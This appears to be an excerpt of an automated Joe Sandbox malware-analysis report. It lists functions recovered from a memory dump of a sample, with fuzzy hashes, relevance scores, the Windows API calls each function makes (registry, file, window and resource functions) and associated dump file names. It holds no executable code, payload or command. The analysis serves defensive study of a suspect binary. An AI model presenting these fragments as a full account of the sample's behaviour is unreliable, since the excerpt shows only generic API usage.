Opcode ID: 0e79be94f39eb7406b9fb8a6747cae6b709778c79e1f9426f591edcce7612fbd
Instruction ID: 971ce2e769cad35b07e5199813dff823eef8caa4d212278d4a6cb579302ef559
Opcode Fuzzy Hash: 0e79be94f39eb7406b9fb8a6747cae6b709778c79e1f9426f591edcce7612fbd
Instruction Fuzzy Hash: 22513570A08381CFD730DF14E584B9ABBE1BF89314F10895DE98997251EB31A949CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00427FD8 Relevance: 6.1, APIs: 4, Instructions: 103stringtimeCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000104), ref: 00428003
GetFileTime.KERNEL32(?,?,?,?), ref: 00428025
GetFileSize.KERNEL32(?,00000000), ref: 00428033
GetFileAttributesA.KERNEL32(?), ref: 0042805D

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: File$AttributesSizeTimelstrcpyn
String ID:
API String ID: 1499663573-0
Opcode ID: 8ed929e8840cf0571f25e06b926dfc94d164733cbe60adf04c0cc376b6f90c85
Instruction ID: 0f9157c03447155b879e481d300035be14b4a7e9415b58b015406b8be03fdab5
Opcode Fuzzy Hash: 8ed929e8840cf0571f25e06b926dfc94d164733cbe60adf04c0cc376b6f90c85
Instruction Fuzzy Hash: C0415E75600614AFC724DF64E880CABB7F4FF083103508A2EE1A693691EB34F949CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004112D3 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00411346
SysFreeString.OLEAUT32(?), ref: 004113B5
SysFreeString.OLEAUT32(?), ref: 004113BF
SysFreeString.OLEAUT32(?), ref: 004113C9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: d9906cbb21440189adeb46f65e4d7491ee8ad9fd862cf020c2635eacfbbe87dd
Instruction ID: 33bf42000e96db952560971249c255832eb346404390c0d155027bceb8e5320a
Opcode Fuzzy Hash: d9906cbb21440189adeb46f65e4d7491ee8ad9fd862cf020c2635eacfbbe87dd
Instruction Fuzzy Hash: FB313C71A11219FFDB10DFA5C884ADEBBB8FF08714F10812BFA15A6250D774A984CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00420BD0 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 0041E91D: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0041E937
Part of subcall function 0041E91D: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0041E948
Part of subcall function 0041E91D: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0041E98E

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000064,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420C13
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,004151C7,00000000,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420C30
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,004151C7,?,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420CA6
CompareStringW.KERNEL32(?,?,00000064,00000000,?,00000000,?,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000), ref: 00420CBC

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ByteCharMultiWide$QueryVirtual$CompareInfoStringSystem
String ID:
API String ID: 1997773198-0
Opcode ID: b5c51588650a37d4d1cb3d5db00bbc7826fd7714118cecf2b9c72995b1b9842b
Instruction ID: 03b7f2b66f2d75cf62d1d1e7f9f5aea8b6d3942825eff640f69c1656141198f9
Opcode Fuzzy Hash: b5c51588650a37d4d1cb3d5db00bbc7826fd7714118cecf2b9c72995b1b9842b
Instruction Fuzzy Hash: C431BC72900218EBCF25DF91DD45BDEBBB5FF08714FA0021AF814A62A1C7399992DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00426AEC Relevance: 6.1, APIs: 4, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000F0,00000000,00000000), ref: 00426B1D
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 00426B60
SendMessageA.USER32(00000000,000000F0,00000000,00000000), ref: 00426B95
SendMessageA.USER32(00000000,000000F1,00000000,00000000), ref: 00426BB9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d1cd1edd8aebf657208b84a0c5c289419f7b47b2a8eecfcaa9bf4f1bc9fb4320
Instruction ID: 3f5e675f55d4a702bf8c1dec3373815d05f2456b451231204fc43b2a1b7b8f7a
Opcode Fuzzy Hash: d1cd1edd8aebf657208b84a0c5c289419f7b47b2a8eecfcaa9bf4f1bc9fb4320
Instruction Fuzzy Hash: D0215331740239EBCA219E06ECC0F277F6DEB45744F97446BF941A7351CA26BC40D6A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042A0ED Relevance: 6.1, APIs: 4, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00443500,00000000,00000001,?), ref: 0042A130
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000004), ref: 0042A150
RegCloseKey.ADVAPI32(?), ref: 0042A194
RegCloseKey.ADVAPI32(00000000), ref: 0042A1AA

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID:
API String ID: 1607946009-0
Opcode ID: e01145a01794671db8f5410ae6055daedd9c25c5f260b156cd7b5aa0a6d2c763
Instruction ID: dc5cdb4f54a3a496b110042336def724de51f15833206d37b3068f0c10fa97b6
Opcode Fuzzy Hash: e01145a01794671db8f5410ae6055daedd9c25c5f260b156cd7b5aa0a6d2c763
Instruction Fuzzy Hash: 07215C71E00214EFDB21CF95EC44ABEFBB8EF50314F9040AAE905A6211D3745A25DF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A57A Relevance: 6.1, APIs: 4, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,?,?), ref: 0042A5A3
RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0042A60B
RegDeleteKeyA.ADVAPI32(?,?), ref: 0042A62D
RegCloseKey.ADVAPI32(?), ref: 0042A638

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CloseDeleteEnumOpen
String ID:
API String ID: 4142876296-0
Opcode ID: 030e9521213b5cec4a943126c4209cfb504d0090493e7cce31642c1ea77828a9
Instruction ID: 74490a7ce1c544a02dbf4f80efdb720ef59ca58dfc40bea8b14ed366bb9d3a97
Opcode Fuzzy Hash: 030e9521213b5cec4a943126c4209cfb504d0090493e7cce31642c1ea77828a9
Instruction Fuzzy Hash: CA216B72E0012AAFCB21DB94D851BEEB7B4EF08314F444176FD11A72A0CB389E568B95

Uniqueness

Uniqueness Score: -1.00%

Function 004120BA Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32 ref: 004120D9
CoTaskMemFree.OLE32(?), ref: 00412155

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: 5c80eacd3d21a3520f2eedc2b141da2997b8ba1f6184b55e1f1dc4efe2ab2cb9
Instruction ID: 92880c54d83cef890ef01a83bb49db2f2e97ba72a390528555b3e8eed935738a
Opcode Fuzzy Hash: 5c80eacd3d21a3520f2eedc2b141da2997b8ba1f6184b55e1f1dc4efe2ab2cb9
Instruction Fuzzy Hash: 9E118130300206BBCB24DF24DE88BE677A4BF01350F54442BFE85D6260D7B9D9A1CA18

Uniqueness

Uniqueness Score: -1.00%

Function 00422D1A Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 00422D40
LoadResource.KERNEL32(?,00000000), ref: 00422D48
LockResource.KERNEL32(00000000), ref: 00422D5A
FreeResource.KERNEL32(00000000), ref: 00422DA4

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 0603fb92bcd478c8b805d9f6208dcb30c6965e4ad22ab062ac3084de4d362369
Instruction ID: 37e77f0d580c985eccbe4e444c991a434d904d033160aeb73e9ee784c397293c
Opcode Fuzzy Hash: 0603fb92bcd478c8b805d9f6208dcb30c6965e4ad22ab062ac3084de4d362369
Instruction Fuzzy Hash: 4E118279611722FFC7309F54EA48AABB774FF04755F80406AE80253750D7B8AD45C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0042728D Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 004272C1
GetCurrentProcess.KERNEL32(?,00000000), ref: 004272C7
DuplicateHandle.KERNEL32(00000000), ref: 004272CA
GetLastError.KERNEL32(?), ref: 004272E5

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast
String ID:
API String ID: 3907606552-0
Opcode ID: 61c7e7d9b6b474a063e6b9c6d7eaf6789762496f64cb53e64a4fe5b19839d303
Instruction ID: 46fbf665e5fe45f0ecf4fbdd7c511345cd6b3779fbaa23856ba3fec1c6fd91d8
Opcode Fuzzy Hash: 61c7e7d9b6b474a063e6b9c6d7eaf6789762496f64cb53e64a4fe5b19839d303
Instruction Fuzzy Hash: 4101B131704210ABDB209BA5ED4AF1A7BA9EF84320F904566FA05CB281DA75DC01C774

Uniqueness

Uniqueness Score: -1.00%

Function 00425AE3 Relevance: 6.1, APIs: 4, Instructions: 52windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00425B0D
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00425B2F
GetCapture.USER32 ref: 00425B41
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00425B50

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: MessageSend$Capture
String ID:
API String ID: 1665607226-0
Opcode ID: 41ba8c012cf105ab7cfabcbff710673018262f8e0ce4aae3eb8d127922dae7ed
Instruction ID: 30d2a2513be581f839b2656ca0720de834e8737dd73f72248518bd740216b687
Opcode Fuzzy Hash: 41ba8c012cf105ab7cfabcbff710673018262f8e0ce4aae3eb8d127922dae7ed
Instruction Fuzzy Hash: 2F016D703407187FFA302B15ACC9FBB76ADDB88788F914039F341EA1D2C6A59C055A64

Uniqueness

Uniqueness Score: -1.00%

Function 00429689 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 004296C0
RegCloseKey.ADVAPI32(00000000,?,?), ref: 004296C9
wsprintfA.USER32 ref: 004296E5
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 004296FB

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: 927a4f46756840b7d5d769d63706027d2597c3eeb89ddb1f9a2eacf531248ca7
Instruction ID: a5194eaa5d267bfce1f697c3276f513d5c4f67dce319ffc6cf3dff497de3ed65
Opcode Fuzzy Hash: 927a4f46756840b7d5d769d63706027d2597c3eeb89ddb1f9a2eacf531248ca7
Instruction Fuzzy Hash: D3018B32600219FBCB11DFA4ED05F9F7BB9BF48708F90403AFA11AA150DB75DA119B98

Uniqueness

Uniqueness Score: -1.00%

Function 00424FBF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00424FCD
GetTopWindow.USER32(00000000), ref: 0042500C
GetWindow.USER32(00000000,00000002), ref: 0042502A

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 6642e3dc04a849abbdc9febbdb983b15e036c38badf80aee8fee512f8d387543
Instruction ID: e8fda6cfe15639f69245f96e4c32ccf3e247865d1e166a8c34f89f462bfd62a7
Opcode Fuzzy Hash: 6642e3dc04a849abbdc9febbdb983b15e036c38badf80aee8fee512f8d387543
Instruction Fuzzy Hash: 4501003220152ABBCF226F91ED09E9F3B25EF89350F854025FE1055161D73AC932EBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00424A31 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00424A3C
GetTopWindow.USER32(00000000), ref: 00424A4F

Part of subcall function 00424A31: GetWindow.USER32(00000000,00000002), ref: 00424A96

GetTopWindow.USER32(?), ref: 00424A7F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: b9f3f23133e0281108d4f9682040040fb4f1f4bc896dd1d0bc87f1e1c94142e9
Instruction ID: 24d9463ce005fff643b8f741c0515ee5154fda0862fcd9038226e8ac00ae5952
Opcode Fuzzy Hash: b9f3f23133e0281108d4f9682040040fb4f1f4bc896dd1d0bc87f1e1c94142e9
Instruction Fuzzy Hash: 37014432381536BB8F326B52AC04E9F3A69DFD53A4BD14036FE1055211E739C921969D

Uniqueness

Uniqueness Score: -1.00%

Function 0042B50D Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 0042B521
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0042CE8B,00000000), ref: 0042B537
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 0042B53F
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,00000000,?,?,?,?,0042CE8B,00000000), ref: 0042B554

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: ebc8b17013044a55624bf79895947c7aba81f2b12cff67d93ce8b63f0bf7c138
Instruction ID: 753ad0f5e46b68682b0d373a57b70d68207eba0a8fe5c42bdb6e2b9dfc4e7a6e
Opcode Fuzzy Hash: ebc8b17013044a55624bf79895947c7aba81f2b12cff67d93ce8b63f0bf7c138
Instruction Fuzzy Hash: 11F0B471207234BF92209B669C48CABBFACFE8B3A4B50453AF544C2100C3755801CBF9

Uniqueness

Uniqueness Score: -1.00%

